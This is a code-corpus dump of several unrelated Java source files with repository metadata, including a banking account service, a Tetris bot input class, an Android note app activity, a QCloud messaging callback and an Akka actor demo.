Strings rc = Shell.Fail;
if (argv.size() >= 2) {
String cmd = argv.remove( 0 ),
function = argv.remove( 0 );
argv = argv.normalise().contract( "=" );
if (cmd.equals( "create" ))
// [function] "create", "sum", "a", "b", "/", "body='a + b'"
rc = create( function, argv );
else if (cmd.equals( "evaluate" ))
// [function] "evaluate", "sum", "3", "and", "4"
rc = evaluate( function, argv );
else
audit.ERROR( "Unknown "+ NAME +".interpret() command: "+ cmd );
}
return (Strings) audit.out( rc );
}
// === test code below! ===
static private void testCreate( String fn, String formals, String body ) {
Audit.log( "The "+ fn +" of "+ formals +" is "+ body );
interpret(
new Strings( "create "+ fn +" "+ formals +" / "+
Attribute.asString( "body", body )
) );
}
static private void testQuery( String fn, String actuals ) {
Audit.log( "What is the "+ fn +" of "+ actuals );
Strings eval = interpret( new Strings("evaluate "+ fn +" "+ actuals ));
Audit.log( eval.equals( new Strings( Reply.dnk())) ?
eval.toString() : "The "+ fn +" of "+ actuals +" is "+ eval.toString() +"\n" );
}
static public void main( String args[]) {
Overlay.Set( Overlay.Get());
Overlay.attach( NAME );
Reply.dnk( "I do not know\n" );
testQuery( "sum", "1 , 1" ); // error!
testCreate( "sum", "a and b", "a + b" );
testQuery( "sum", "3 and 2" );
testCreate( "sum", "a b c and d", "a + b + c + d" );
testQuery( "sum", "4 and 3 and 2 and 1" );
Audit.log( "setting x to 1" );
Variable.set( "x", "1" );
Audit.log( "setting y to 2" );
Variable.set( "y", "2" );
testQuery( "sum", "x and y" );
testCreate( "factorial", "1", "1" );
testQuery( "factorial", "1" );
//testQuery( "factorial", "4" );
Audit.log( "PASSED" );
} }
| 5,146 | 0.601049 | 0.594831 | 157 | 31.777071 | 23.262993 | 95 | false | false | 0 | 0 | 0 | 0 | 0 | 0 | 2.955414 | false | false | 15 |
3b706d6b07dfe601589821f86b401c9eeda381f8 | 35,072,702,984,787 | ffb8ee9a1edb222b23b93a149501eb39298f2492 | /src/main/java/com/mycompany/services/AccountService.java | a11210bbee5b8bfc828f456e58ab59c7653fea11 | [] | no_license | stephenkearns1/Banking-API | https://github.com/stephenkearns1/Banking-API | 2de8e75a8b1714505482cb20d9d176c919ecd237 | 36b731df32822f53396bd54af7fb76a53b54b0e1 | refs/heads/master | 2021-09-22T14:07:39.023000 | 2018-09-10T21:15:19 | 2018-09-10T21:15:19 | 113,056,652 | 0 | 0 | null | null | null | null | null | null | null | null | null | null | null | null | null | /*
* To change this license header, choose License Headers in Project Properties.
* To change this template file, choose Tools | Templates
* and open the template in the editor.
*/
package com.mycompany.services;
import com.mycompany.models.Account;
import com.mycompany.models.Customer;
import com.mycompany.storage.DBPresistance;
import java.util.List;
/**
*
* @author barry
*/
public class AccountService {
DBPresistance presistance;
public AccountService(){
presistance = new DBPresistance();
}
public List getAccount(){
return null;
}
/*
This method retrieves the details of a customer's account
*/
public Account getAccount(int id){
Account account = (Account) presistance.Find(Account.class, id);
return account;
}
/*public Account getAccount(Account a){
Account account = (Account) presistance.(Account.class, a);
return account;
} */
public String CreateAccount(int cust_id){
//if(!AccountAlreadyExists(a)){
//Acquire a connection, even tho a new instance will be created on each request
Customer customer = (Customer) presistance.Find(Customer.class, cust_id);
Account acc = new Account();
acc.setBalance(0.00);
acc.setCustomer(customer);
customer.addAccount(acc);
presistance.Begin();
presistance.Presist(acc);
presistance.Presist(customer);
presistance.Commit();
/* Close the connection unless, pooling is implemented */
presistance.Close();
return "Account Created";
//}
//else {
// return "Account already exists";
// }
}
/*
This method retrieves the balance of a customer's account
*/
public Account getBalance(int id){
Account a = (Account) presistance.Find(Account.class, id);
return a;
}
/*
This method deletes an account owned by a customer
*/
public boolean deleteAccount(int accountId){
Account account = getAccount(accountId);
boolean deleted = false;
if(account != null){
presistance.Begin();
presistance.Remove(account);
presistance.Commit();
presistance.Close();
deleted = true;
return deleted;
}
return deleted;
}
private boolean AccountAlreadyExists(Account a) {
boolean exists = false;
/* Account account = (Account) presistance.Find(Account.class, a);
if(account != null){
return exists = true;
*/
return exists;
}
public List<Account> getAccounts(int id){
Customer cust = (Customer) presistance.Find(Customer.class, id);
return cust.getAccounts();
}
}
| UTF-8 | Java | 3,003 | java | AccountService.java | Java | [
{
"context": "istance;\nimport java.util.List;\n\n/**\n *\n * @author barry\n */\npublic class AccountService {\n DBPresista",
"end": 384,
"score": 0.9728888273239136,
"start": 379,
"tag": "USERNAME",
"value": "barry"
}
] | null | [] | /*
* To change this license header, choose License Headers in Project Properties.
* To change this template file, choose Tools | Templates
* and open the template in the editor.
*/
package com.mycompany.services;
import com.mycompany.models.Account;
import com.mycompany.models.Customer;
import com.mycompany.storage.DBPresistance;
import java.util.List;
/**
*
* @author barry
*/
public class AccountService {
DBPresistance presistance;
public AccountService(){
presistance = new DBPresistance();
}
public List getAccount(){
return null;
}
/*
This method retrieves the details of a customer's account
*/
public Account getAccount(int id){
Account account = (Account) presistance.Find(Account.class, id);
return account;
}
/*public Account getAccount(Account a){
Account account = (Account) presistance.(Account.class, a);
return account;
} */
public String CreateAccount(int cust_id){
//if(!AccountAlreadyExists(a)){
//Acquire a connection, even tho a new instance will be created on each request
Customer customer = (Customer) presistance.Find(Customer.class, cust_id);
Account acc = new Account();
acc.setBalance(0.00);
acc.setCustomer(customer);
customer.addAccount(acc);
presistance.Begin();
presistance.Presist(acc);
presistance.Presist(customer);
presistance.Commit();
/* Close the connection unless, pooling is implemented */
presistance.Close();
return "Account Created";
//}
//else {
// return "Account already exists";
// }
}
/*
This method retrieves the balance of a customer's account
*/
public Account getBalance(int id){
Account a = (Account) presistance.Find(Account.class, id);
return a;
}
/*
This method deletes an account owned by a customer
*/
public boolean deleteAccount(int accountId){
Account account = getAccount(accountId);
boolean deleted = false;
if(account != null){
presistance.Begin();
presistance.Remove(account);
presistance.Commit();
presistance.Close();
deleted = true;
return deleted;
}
return deleted;
}
private boolean AccountAlreadyExists(Account a) {
boolean exists = false;
/* Account account = (Account) presistance.Find(Account.class, a);
if(account != null){
return exists = true;
*/
return exists;
}
public List<Account> getAccounts(int id){
Customer cust = (Customer) presistance.Find(Customer.class, id);
return cust.getAccounts();
}
}
| 3,003 | 0.576424 | 0.575425 | 112 | 25.8125 | 21.999809 | 92 | false | false | 0 | 0 | 0 | 0 | 0 | 0 | 0.464286 | false | false | 15 |
be34e71443478203f31aec9cbb36eac2a724f999 | 39,290,360,859,353 | 9518abd733d41a5a16ea86152f7823e6af51dadc | /src/by/bemn/java_intro_online/lesson04_programming_with_classes/simple_classes_objects/task2/Main.java | 93a8148ce383b3853f176a6ed6a941f2e07c3a82 | [] | no_license | AHahalinski/JavaIntroOnline | https://github.com/AHahalinski/JavaIntroOnline | f00b167dd983a8382ad8856122d910aa10a0885b | 7c86f48f56f699de6813b5364cbf596f501e90df | refs/heads/master | 2023-03-08T01:27:48.855000 | 2019-09-22T19:17:33 | 2019-09-22T19:17:33 | null | 0 | 0 | null | null | null | null | null | null | null | null | null | null | null | null | null | package by.bemn.java_intro_online.lesson04_programming_with_classes.simple_classes_objects.task2;
public class Main {
public static void main(String[] args) {
Test2 test2 = new Test2();
System.out.println(test2.getName() + " " + test2.getAge());
test2.setAge(50);
test2.setName("Maria");
System.out.println(test2.getName() + " " + test2.getAge());
Test2 test21 = new Test2("Bil", 40);
System.out.println(test21.getName() + " " + test21.getAge());
System.out.println(test2.getName() + " " + test2.getAge());
}
}
| UTF-8 | Java | 596 | java | Main.java | Java | [
{
"context": "\n test2.setAge(50);\n test2.setName(\"Maria\");\n System.out.println(test2.getName() + \"",
"end": 324,
"score": 0.9997900724411011,
"start": 319,
"tag": "NAME",
"value": "Maria"
},
{
"context": "st2.getAge());\n\n Test2 test21 = new Test2(\"Bil\", 40);\n System.out.println(test21.getName(",
"end": 436,
"score": 0.9991849660873413,
"start": 433,
"tag": "NAME",
"value": "Bil"
}
] | null | [] | package by.bemn.java_intro_online.lesson04_programming_with_classes.simple_classes_objects.task2;
public class Main {
public static void main(String[] args) {
Test2 test2 = new Test2();
System.out.println(test2.getName() + " " + test2.getAge());
test2.setAge(50);
test2.setName("Maria");
System.out.println(test2.getName() + " " + test2.getAge());
Test2 test21 = new Test2("Bil", 40);
System.out.println(test21.getName() + " " + test21.getAge());
System.out.println(test2.getName() + " " + test2.getAge());
}
}
| 596 | 0.600671 | 0.557047 | 18 | 32.111111 | 30.888489 | 97 | false | false | 0 | 0 | 0 | 0 | 0 | 0 | 0.555556 | false | false | 15 |
9d3285d88bc0026da2bef72f6107e7671eda9380 | 1,425,929,213,044 | 09e3711748b3f762245898c1f96ebc5d4226f9c0 | /src/com/halcyon/tetris/bot/PlayerInput.java | 96dcd84656141d2796b36d8316cf37e8c2d93bb5 | [] | no_license | brothermank/TetrisReplay | https://github.com/brothermank/TetrisReplay | d1c1151c1db7ff44b584bf710d05b34ddcc097bd | 5f0b6ec9f95066a235914a38cbdebcac6642f521 | refs/heads/master | 2022-12-08T12:07:05.020000 | 2020-09-03T07:20:29 | 2020-09-03T07:20:29 | null | 0 | 0 | null | null | null | null | null | null | null | null | null | null | null | null | null | package com.halcyon.tetris.bot;
import nintaco.api.GamepadButtons;
import org.omg.PortableInterceptor.NON_EXISTENT;
public class PlayerInput {
public static final int
NO_INPUT = -1,
ROTATE_CLOCKWISE = GamepadButtons.B,
ROTATE_COUNTER_CLOCKWISE = GamepadButtons.A,
DIRECTION_LEFT = GamepadButtons.Left,
DIRECTION_RIGHT = GamepadButtons.Right,
DIRECTION_DOWN = GamepadButtons.Down;
private int rotation;
private int direction;
private final boolean[] rawInput = new boolean[8];
public PlayerInput(){
}
public PlayerInput(int rotation, int direction){
this.rotation = rotation;
this.direction = direction;
}
public PlayerInput(boolean[] rawInput){
setRawInput(rawInput);
}
public int getRotation() {
return rotation;
}
public void setRotation(int newRotation){
rotation = newRotation;
}
public void setDirection(int newDirection){
direction = newDirection;
}
public void setRawInput(boolean[] input){
setRawInput(input, 0);
}
public void setRawInput(boolean[] input, int startIndex){
for(int i = startIndex; i < rawInput.length && i < input.length; i++){
rawInput[i] = input[i];
}
if( rawInput[GamepadButtons.A] && !rawInput[GamepadButtons.B] ){
setRotation(ROTATE_COUNTER_CLOCKWISE);
} else if (rawInput[GamepadButtons.B] && !rawInput[GamepadButtons.A]){
setRotation(ROTATE_CLOCKWISE);
} else {
setRotation(NO_INPUT);
}
if( rawInput[GamepadButtons.Left] && !rawInput[GamepadButtons.Right] ){
setDirection(DIRECTION_LEFT);
}else if( rawInput[GamepadButtons.Right] && !rawInput[GamepadButtons.Left] ){
setDirection(DIRECTION_RIGHT);
}else if(rawInput[GamepadButtons.Down] && !rawInput[GamepadButtons.Left] && !rawInput[GamepadButtons.Right]){
setDirection(DIRECTION_DOWN);
}else{
setDirection(NO_INPUT);
}
}
public boolean compare(PlayerInput other){
for(int i = 0; i < rawInput.length; i++){
if(rawInput[i] != other.rawInput[i]) return false;
}
if ( rotation != other.rotation ) return false;
if ( direction != other.direction ) return false;
return true;
}
/* public int getRotationButton(){
switch(rotation){
case ROTATE_CLOCKWISE:
return GamepadButtons.A;
case ROTATE_COUNTER_CLOCKWISE:
return GamepadButtons.B;
default:
return -1;
}
}
public int getDirectionButton(){
switch(direction){
case DIRECTION_LEFT:
return GamepadButtons.Left;
case DIRECTION_RIGHT:
return GamepadButtons.Right;
case DIRECTION_DOWN:
return GamepadButtons.Down;
default:
return -1;
}
}*/
}
| UTF-8 | Java | 3,081 | java | PlayerInput.java | Java | [] | null | [] | package com.halcyon.tetris.bot;
import nintaco.api.GamepadButtons;
import org.omg.PortableInterceptor.NON_EXISTENT;
public class PlayerInput {
public static final int
NO_INPUT = -1,
ROTATE_CLOCKWISE = GamepadButtons.B,
ROTATE_COUNTER_CLOCKWISE = GamepadButtons.A,
DIRECTION_LEFT = GamepadButtons.Left,
DIRECTION_RIGHT = GamepadButtons.Right,
DIRECTION_DOWN = GamepadButtons.Down;
private int rotation;
private int direction;
private final boolean[] rawInput = new boolean[8];
public PlayerInput(){
}
public PlayerInput(int rotation, int direction){
this.rotation = rotation;
this.direction = direction;
}
public PlayerInput(boolean[] rawInput){
setRawInput(rawInput);
}
public int getRotation() {
return rotation;
}
public void setRotation(int newRotation){
rotation = newRotation;
}
public void setDirection(int newDirection){
direction = newDirection;
}
public void setRawInput(boolean[] input){
setRawInput(input, 0);
}
public void setRawInput(boolean[] input, int startIndex){
for(int i = startIndex; i < rawInput.length && i < input.length; i++){
rawInput[i] = input[i];
}
if( rawInput[GamepadButtons.A] && !rawInput[GamepadButtons.B] ){
setRotation(ROTATE_COUNTER_CLOCKWISE);
} else if (rawInput[GamepadButtons.B] && !rawInput[GamepadButtons.A]){
setRotation(ROTATE_CLOCKWISE);
} else {
setRotation(NO_INPUT);
}
if( rawInput[GamepadButtons.Left] && !rawInput[GamepadButtons.Right] ){
setDirection(DIRECTION_LEFT);
}else if( rawInput[GamepadButtons.Right] && !rawInput[GamepadButtons.Left] ){
setDirection(DIRECTION_RIGHT);
}else if(rawInput[GamepadButtons.Down] && !rawInput[GamepadButtons.Left] && !rawInput[GamepadButtons.Right]){
setDirection(DIRECTION_DOWN);
}else{
setDirection(NO_INPUT);
}
}
public boolean compare(PlayerInput other){
for(int i = 0; i < rawInput.length; i++){
if(rawInput[i] != other.rawInput[i]) return false;
}
if ( rotation != other.rotation ) return false;
if ( direction != other.direction ) return false;
return true;
}
/* public int getRotationButton(){
switch(rotation){
case ROTATE_CLOCKWISE:
return GamepadButtons.A;
case ROTATE_COUNTER_CLOCKWISE:
return GamepadButtons.B;
default:
return -1;
}
}
public int getDirectionButton(){
switch(direction){
case DIRECTION_LEFT:
return GamepadButtons.Left;
case DIRECTION_RIGHT:
return GamepadButtons.Right;
case DIRECTION_DOWN:
return GamepadButtons.Down;
default:
return -1;
}
}*/
}
| 3,081 | 0.58877 | 0.586822 | 106 | 28.066038 | 23.334431 | 117 | false | false | 0 | 0 | 0 | 0 | 0 | 0 | 0.424528 | false | false | 15 |
0acd5597bc6400c402dda1c6b6f39813a081d85f | 36,653,250,929,124 | 0177d2e65632c31d1b936c62946c2ccb8fe15df1 | /src/string/Byte2String.java | 8635ef2ce2046f155e19802fa92164a3fa041ea1 | [] | no_license | guangjava/test | https://github.com/guangjava/test | 011b22a0bdea4fc55a521487b884808a23003d47 | 9269491b4e472f450718068f9516cc6b74e94834 | refs/heads/master | 2020-12-02T16:13:39.753000 | 2017-07-07T09:06:49 | 2017-07-07T09:06:49 | 96,520,694 | 0 | 0 | null | null | null | null | null | null | null | null | null | null | null | null | null | package string;
import java.io.IOException;
import java.io.InputStream;
public class Byte2String {
protected final long _address;
protected final static byte[] _uuidBytes = new byte[16];
private static String getResponseXML() throws IOException {
String fileName = "response.xml";
InputStream is = Byte2String.class.getResourceAsStream(fileName);
byte[] buff = new byte[4096];
StringBuffer sb = new StringBuffer();
while(is.read(buff) > 0){
String string = new String(buff, "UTF-8");
sb.append(string);
}
return sb.toString();
}
public void toByteArray(byte[] array, int pos)
{
if (pos < 0 || (pos + 6) > array.length) {
throw new IllegalArgumentException("Illegal offset ("+pos+"), need room for 6 bytes");
}
int i = (int) (_address >> 32);
array[pos++] = (byte) (i >> 8);
array[pos++] = (byte) i;
i = (int) _address;
array[pos++] = (byte) (i >> 24);
array[pos++] = (byte) (i >> 16);
array[pos++] = (byte) (i >> 8);
array[pos] = (byte) i;
}
public Byte2String(long _address) {
this._address = _address;
}
public static void main(String[] args) {
}
}
| UTF-8 | Java | 1,232 | java | Byte2String.java | Java | [] | null | [] | package string;
import java.io.IOException;
import java.io.InputStream;
public class Byte2String {
protected final long _address;
protected final static byte[] _uuidBytes = new byte[16];
private static String getResponseXML() throws IOException {
String fileName = "response.xml";
InputStream is = Byte2String.class.getResourceAsStream(fileName);
byte[] buff = new byte[4096];
StringBuffer sb = new StringBuffer();
while(is.read(buff) > 0){
String string = new String(buff, "UTF-8");
sb.append(string);
}
return sb.toString();
}
public void toByteArray(byte[] array, int pos)
{
if (pos < 0 || (pos + 6) > array.length) {
throw new IllegalArgumentException("Illegal offset ("+pos+"), need room for 6 bytes");
}
int i = (int) (_address >> 32);
array[pos++] = (byte) (i >> 8);
array[pos++] = (byte) i;
i = (int) _address;
array[pos++] = (byte) (i >> 24);
array[pos++] = (byte) (i >> 16);
array[pos++] = (byte) (i >> 8);
array[pos] = (byte) i;
}
public Byte2String(long _address) {
this._address = _address;
}
public static void main(String[] args) {
}
}
| 1,232 | 0.57711 | 0.559253 | 42 | 27.333334 | 21.438358 | 98 | false | false | 0 | 0 | 0 | 0 | 0 | 0 | 1.452381 | false | false | 15 |
5bbfaff877c5e0d29cda994af5894a2785d924fa | 5,480,378,331,959 | 50707bf4cb6929648f302b3fe3af0cb0297466e2 | /app/src/main/java/com/youssef/noteapp/ui/main/MainActivity.java | a288f4df0ccc0ef9865cb0a9842b0da9cfd3464d | [] | no_license | youssefhesham2/noteapp | https://github.com/youssefhesham2/noteapp | 1a4c7bc28b463b3d88ef33c777c6ed667fbdb1c3 | 8781b281885e02ce33a7ed4480032a99aef413a6 | refs/heads/master | 2023-01-14T00:43:31.705000 | 2020-11-07T17:02:01 | 2020-11-07T17:02:01 | 276,143,009 | 0 | 0 | null | null | null | null | null | null | null | null | null | null | null | null | null | package com.youssef.noteapp.ui.main;
import androidx.appcompat.app.AppCompatActivity;
import androidx.fragment.app.Fragment;
import androidx.fragment.app.FragmentManager;
import androidx.fragment.app.FragmentTransaction;
import android.content.Intent;
import android.os.Bundle;
import android.os.Environment;
import android.view.View;
import com.google.android.material.floatingactionbutton.FloatingActionButton;
import com.youssef.noteapp.R;
import com.youssef.noteapp.ui.WirteNewNote.WriteNewNoteActivity;
import com.youssef.noteapp.ui.fragments.HomeFragment;
import java.io.File;
public class MainActivity extends AppCompatActivity
{
FloatingActionButton floatingActionButton;
@Override
protected void onCreate(Bundle savedInstanceState)
{
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
CreateFolderInStorage();
IniFloatingButton();
ReplaceFraagment(new HomeFragment());
}
private void CreateFolderInStorage() {
File folder = new File(Environment.getExternalStorageDirectory()+ "/Note App");
if (!folder.exists()) {
folder.mkdirs();
}
File pdfFolder = new File(folder+"/pdf");
if (!pdfFolder.exists()) {
pdfFolder.mkdirs();
}
File ImaagesFolder = new File(folder+"/Images");
if (!ImaagesFolder.exists()) {
ImaagesFolder.mkdirs();
}
}
private void IniFloatingButton() {
floatingActionButton = findViewById(R.id.floatingActionButton);
floatingActionButton.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View view) {
Intent intent=new Intent(getApplicationContext(), WriteNewNoteActivity.class);
startActivity(intent);
}
});
}
void ReplaceFraagment(Fragment fragment) {
FragmentManager fragmentManager = getSupportFragmentManager();
FragmentTransaction fragmentTransaction = fragmentManager.beginTransaction();
fragmentTransaction.replace(R.id.Frame, fragment);
fragmentTransaction.commit();
}
}
| UTF-8 | Java | 2,181 | java | MainActivity.java | Java | [] | null | [] | package com.youssef.noteapp.ui.main;
import androidx.appcompat.app.AppCompatActivity;
import androidx.fragment.app.Fragment;
import androidx.fragment.app.FragmentManager;
import androidx.fragment.app.FragmentTransaction;
import android.content.Intent;
import android.os.Bundle;
import android.os.Environment;
import android.view.View;
import com.google.android.material.floatingactionbutton.FloatingActionButton;
import com.youssef.noteapp.R;
import com.youssef.noteapp.ui.WirteNewNote.WriteNewNoteActivity;
import com.youssef.noteapp.ui.fragments.HomeFragment;
import java.io.File;
public class MainActivity extends AppCompatActivity
{
FloatingActionButton floatingActionButton;
@Override
protected void onCreate(Bundle savedInstanceState)
{
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
CreateFolderInStorage();
IniFloatingButton();
ReplaceFraagment(new HomeFragment());
}
private void CreateFolderInStorage() {
File folder = new File(Environment.getExternalStorageDirectory()+ "/Note App");
if (!folder.exists()) {
folder.mkdirs();
}
File pdfFolder = new File(folder+"/pdf");
if (!pdfFolder.exists()) {
pdfFolder.mkdirs();
}
File ImaagesFolder = new File(folder+"/Images");
if (!ImaagesFolder.exists()) {
ImaagesFolder.mkdirs();
}
}
private void IniFloatingButton() {
floatingActionButton = findViewById(R.id.floatingActionButton);
floatingActionButton.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View view) {
Intent intent=new Intent(getApplicationContext(), WriteNewNoteActivity.class);
startActivity(intent);
}
});
}
void ReplaceFraagment(Fragment fragment) {
FragmentManager fragmentManager = getSupportFragmentManager();
FragmentTransaction fragmentTransaction = fragmentManager.beginTransaction();
fragmentTransaction.replace(R.id.Frame, fragment);
fragmentTransaction.commit();
}
}
| 2,181 | 0.695094 | 0.695094 | 66 | 32.045456 | 24.760937 | 94 | false | false | 0 | 0 | 0 | 0 | 0 | 0 | 0.545455 | false | false | 15 |
045aa7848c6240cb97c5151955bea641f2cab07d | 36,541,581,791,778 | 16ac155ad69851cdd8d6c7b3a9170fff650297a5 | /java/medical/.svn/pristine/7f/7f66e443af709b60279aac9068caa92d09c1aad4.svn-base | 6868ec02c2b51dfe33c2723c395c249077b7a987 | [] | no_license | 13770344697/nanjingzhongan | https://github.com/13770344697/nanjingzhongan | d95dd60c2458be6df1bd38608efb039f7f4095a4 | 630ab2e9002163c2f750d91c6d02b320a36eb935 | refs/heads/master | 2018-10-14T19:30:19.923000 | 2018-07-19T09:57:28 | 2018-07-19T09:57:28 | 130,321,070 | 0 | 1 | null | null | null | null | null | null | null | null | null | null | null | null | null | package com.mootop.sdhui.sei.service;
import java.io.IOException;
import java.util.List;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.stereotype.Service;
import org.springframework.transaction.annotation.Transactional;
import com.google.gson.GsonBuilder;
import com.mootop.qcloud.communication.group.bean.CallbackGASM;
import com.mootop.qcloud.communication.group.bean.TIMMsgElement;
import com.mootop.sdhui.sei.vo.QCGroupCbBfeSendMsgCustomVo;
@Service
public class QCloudCommunicationService extends BaseService {
@Autowired
protected LiveService liveService;
@Transactional(rollbackFor = Exception.class)
public void groupCallbackBeforeSendMsg(CallbackGASM callbackGASM)
throws IOException {
List<TIMMsgElement> msgBody = callbackGASM.getMsgBody();
for (TIMMsgElement e : msgBody) {
if (e.getMsgType().equals("TIMCustomElem"))
groupCallbackBeforeSendMsgTIMCustomElem(callbackGASM, e);
}
}
public static void main(String[] args) throws IOException {
}
public void groupCallbackBeforeSendMsgTIMCustomElem(
CallbackGASM callbackGASM, TIMMsgElement timMsgelement)
throws IOException {
String data = timMsgelement.getMsgContent().getData();
String desc = timMsgelement.getMsgContent().getDesc();
String ext = timMsgelement.getMsgContent().getExt();
String sound = timMsgelement.getMsgContent().getSound();
QCGroupCbBfeSendMsgCustomVo.Request voRes = new GsonBuilder().create()
.fromJson(data, QCGroupCbBfeSendMsgCustomVo.Request.class);
if (voRes.getUserAction() != null
&& !voRes.getUserAction().trim().isEmpty())
liveService.presentGift(callbackGASM.getFromAccount(),
callbackGASM.getGroupId(), voRes.getUserAction());
}
}
| UTF-8 | Java | 1,738 | 7f66e443af709b60279aac9068caa92d09c1aad4.svn-base | Java | [] | null | [] | package com.mootop.sdhui.sei.service;
import java.io.IOException;
import java.util.List;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.stereotype.Service;
import org.springframework.transaction.annotation.Transactional;
import com.google.gson.GsonBuilder;
import com.mootop.qcloud.communication.group.bean.CallbackGASM;
import com.mootop.qcloud.communication.group.bean.TIMMsgElement;
import com.mootop.sdhui.sei.vo.QCGroupCbBfeSendMsgCustomVo;
@Service
public class QCloudCommunicationService extends BaseService {
@Autowired
protected LiveService liveService;
@Transactional(rollbackFor = Exception.class)
public void groupCallbackBeforeSendMsg(CallbackGASM callbackGASM)
throws IOException {
List<TIMMsgElement> msgBody = callbackGASM.getMsgBody();
for (TIMMsgElement e : msgBody) {
if (e.getMsgType().equals("TIMCustomElem"))
groupCallbackBeforeSendMsgTIMCustomElem(callbackGASM, e);
}
}
public static void main(String[] args) throws IOException {
}
public void groupCallbackBeforeSendMsgTIMCustomElem(
CallbackGASM callbackGASM, TIMMsgElement timMsgelement)
throws IOException {
String data = timMsgelement.getMsgContent().getData();
String desc = timMsgelement.getMsgContent().getDesc();
String ext = timMsgelement.getMsgContent().getExt();
String sound = timMsgelement.getMsgContent().getSound();
QCGroupCbBfeSendMsgCustomVo.Request voRes = new GsonBuilder().create()
.fromJson(data, QCGroupCbBfeSendMsgCustomVo.Request.class);
if (voRes.getUserAction() != null
&& !voRes.getUserAction().trim().isEmpty())
liveService.presentGift(callbackGASM.getFromAccount(),
callbackGASM.getGroupId(), voRes.getUserAction());
}
}
| 1,738 | 0.791715 | 0.791715 | 52 | 32.423077 | 25.958063 | 72 | false | false | 0 | 0 | 0 | 0 | 0 | 0 | 1.596154 | false | false | 15 |
|
075b7fc7dad9e2b3b0267c7d9396fef4593bc1b7 | 12,249,246,797,110 | df1d98197b31beea625c61d19202fe4613bcd9c2 | /src/main/java/dima/model/service/Service.java | 99f56afc61475d5ab2695284fa2630856f540ced | [] | no_license | yunluchentom/dima | https://github.com/yunluchentom/dima | d5668a6c8f8eeb47e8e4c0e02674a8716e88f7ee | e47fb3aa8feffbf4ab808cfc83364ae98e198ccd | refs/heads/master | 2018-01-12T12:57:02.178000 | 2016-01-30T16:06:21 | 2016-01-30T16:06:21 | 47,990,372 | 0 | 0 | null | null | null | null | null | null | null | null | null | null | null | null | null | package dima.model.service;
public interface Service<T extends Service>
extends AutoCloseable {
default T start() {
return (T) this;
}
@Override
default void close() throws Exception {
}
}
| UTF-8 | Java | 229 | java | Service.java | Java | [] | null | [] | package dima.model.service;
public interface Service<T extends Service>
extends AutoCloseable {
default T start() {
return (T) this;
}
@Override
default void close() throws Exception {
}
}
| 229 | 0.624454 | 0.624454 | 14 | 15.357142 | 15.609553 | 43 | false | false | 0 | 0 | 0 | 0 | 0 | 0 | 0.142857 | false | false | 15 |
5367abaaa50280dc78ff58c37fd5b2a96e3850ea | 36,120,674,998,724 | 151b0835f29a5de96027bee42d6b205f974a1d96 | /src/main/java/com/truyenhinh24h/common/ImportSource.java | 8a587195c00928917cea276847fb22a13218db6c | [] | no_license | kennylam91/truyenhinh24h-backend | https://github.com/kennylam91/truyenhinh24h-backend | 68842c2fc25805fa5080f7d3cb48c85e340a885d | 7441c055eb9d2ce49af7b3c748895b8345914213 | refs/heads/master | 2023-02-15T09:53:02.130000 | 2021-01-10T04:25:45 | 2021-01-10T04:25:45 | 299,782,153 | 0 | 0 | null | null | null | null | null | null | null | null | null | null | null | null | null | package com.truyenhinh24h.common;
public enum ImportSource {
VTV, THVL, SCTV, HTV
}
| UTF-8 | Java | 87 | java | ImportSource.java | Java | [] | null | [] | package com.truyenhinh24h.common;
public enum ImportSource {
VTV, THVL, SCTV, HTV
}
| 87 | 0.747126 | 0.724138 | 6 | 13.5 | 13.622897 | 33 | false | false | 0 | 0 | 0 | 0 | 0 | 0 | 0.833333 | false | false | 15 |
66777859b07d29855c9fb25b8344c1e1c5d5c1d8 | 35,107,062,727,690 | b5b2bda8f648412481795e5067028ed6777252ac | /src/main/java/org/training/nirmalya/sampleCodeEight/ReminderDriver.java | 173829fb7401ef61bbc3c8cf299644bb939b644a | [] | no_license | nsengupta/Akka-Training-Elem | https://github.com/nsengupta/Akka-Training-Elem | 696971ec80641f9d35790e65d5ecb354c114c283 | 11a4a7b873fd90cb76132c77b2f80f65c67481a5 | refs/heads/master | 2021-01-22T21:37:23.859000 | 2018-02-03T04:32:44 | 2018-02-03T04:32:44 | 85,447,816 | 0 | 1 | null | null | null | null | null | null | null | null | null | null | null | null | null | package org.training.nirmalya.sampleCodeEight;
import java.util.Arrays;
import java.util.List;
import java.util.concurrent.TimeUnit;
import java.util.concurrent.TimeoutException;
import org.training.nirmalya.sampleCodeThree.SmartPongActor;
import com.typesafe.config.Config;
import com.typesafe.config.ConfigFactory;
import scala.concurrent.duration.Duration;
import akka.actor.ActorRef;
import akka.actor.ActorSystem;
import akka.actor.Inbox;
import akka.actor.Props;
public class ReminderDriver {
public static void main(String[] args) {
ActorSystem system = ActorSystem.create("Ping-Pong");
ActorRef bossActor = system.actorOf(Props.create(SelfRemindingBossActor.class));
try {
Thread.sleep(5000);
} catch (InterruptedException e) {/* ignore */}
System.out.println("terminating actor system!");
system.terminate();
}
}
| UTF-8 | Java | 887 | java | ReminderDriver.java | Java | [] | null | [] | package org.training.nirmalya.sampleCodeEight;
import java.util.Arrays;
import java.util.List;
import java.util.concurrent.TimeUnit;
import java.util.concurrent.TimeoutException;
import org.training.nirmalya.sampleCodeThree.SmartPongActor;
import com.typesafe.config.Config;
import com.typesafe.config.ConfigFactory;
import scala.concurrent.duration.Duration;
import akka.actor.ActorRef;
import akka.actor.ActorSystem;
import akka.actor.Inbox;
import akka.actor.Props;
public class ReminderDriver {
public static void main(String[] args) {
ActorSystem system = ActorSystem.create("Ping-Pong");
ActorRef bossActor = system.actorOf(Props.create(SelfRemindingBossActor.class));
try {
Thread.sleep(5000);
} catch (InterruptedException e) {/* ignore */}
System.out.println("terminating actor system!");
system.terminate();
}
}
| 887 | 0.748591 | 0.744081 | 38 | 22.342106 | 22.356297 | 82 | false | false | 0 | 0 | 0 | 0 | 0 | 0 | 0.815789 | false | false | 15 |
